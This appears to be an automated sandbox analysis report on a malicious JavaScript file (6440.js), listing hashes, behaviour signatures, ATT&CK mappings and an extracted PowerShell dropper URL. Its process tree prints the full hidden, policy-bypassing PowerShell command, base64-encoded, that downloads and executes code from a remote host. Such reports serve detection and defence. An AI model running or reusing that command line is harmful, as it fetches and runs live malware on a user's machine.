f827fc739c432960cabffffa30111ac512e019928c22ce6f55efca587bdb75bf

General

Target

6440.js
Size

541KB
MD5

268848cb4ff95f5b95a8c619b626eb1e
SHA1

1ba3890f085853d01475ddf9fa3d991dee706be6
SHA256

f827fc739c432960cabffffa30111ac512e019928c22ce6f55efca587bdb75bf
SHA512

07cfd18fa8ec70db0a1c0f061ee5c6951979bada17777dd30cc473ee0cb161882109920a8d46ca961d4626231d94b4bac85a52180c34ae90442d16d70192781c

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
6	1532	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid	Process
1532	powershell.exe
1532	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description	pid	Process
Token: SeDebugPrivilege	1532	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

wscript.execmd.exe

description	pid	Process	procid_target
PID 1656 wrote to memory of 1668	1656	wscript.exe	29
PID 1656 wrote to memory of 1668	1656	wscript.exe	29
PID 1656 wrote to memory of 1668	1656	wscript.exe	29
PID 1668 wrote to memory of 1532	1668	cmd.exe	31
PID 1668 wrote to memory of 1532	1668	cmd.exe	31
PID 1668 wrote to memory of 1532	1668	cmd.exe	31

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\6440.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1532

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1532-61-0x0000000000000000-mapping.dmp

Download
memory/1532-62-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmp

Filesize
8KB

Download
memory/1532-63-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1532-64-0x000000001A990000-0x000000001A991000-memory.dmp

Filesize
4KB

Download
memory/1532-65-0x000000001A7D0000-0x000000001A7D1000-memory.dmp

Filesize
4KB

Download
memory/1532-66-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/1532-68-0x00000000026C4000-0x00000000026C6000-memory.dmp

Filesize
8KB

Download
memory/1532-67-0x00000000026C0000-0x00000000026C2000-memory.dmp

Filesize
8KB

Download
memory/1532-69-0x000000001C190000-0x000000001C191000-memory.dmp

Filesize
4KB

Download
memory/1668-60-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads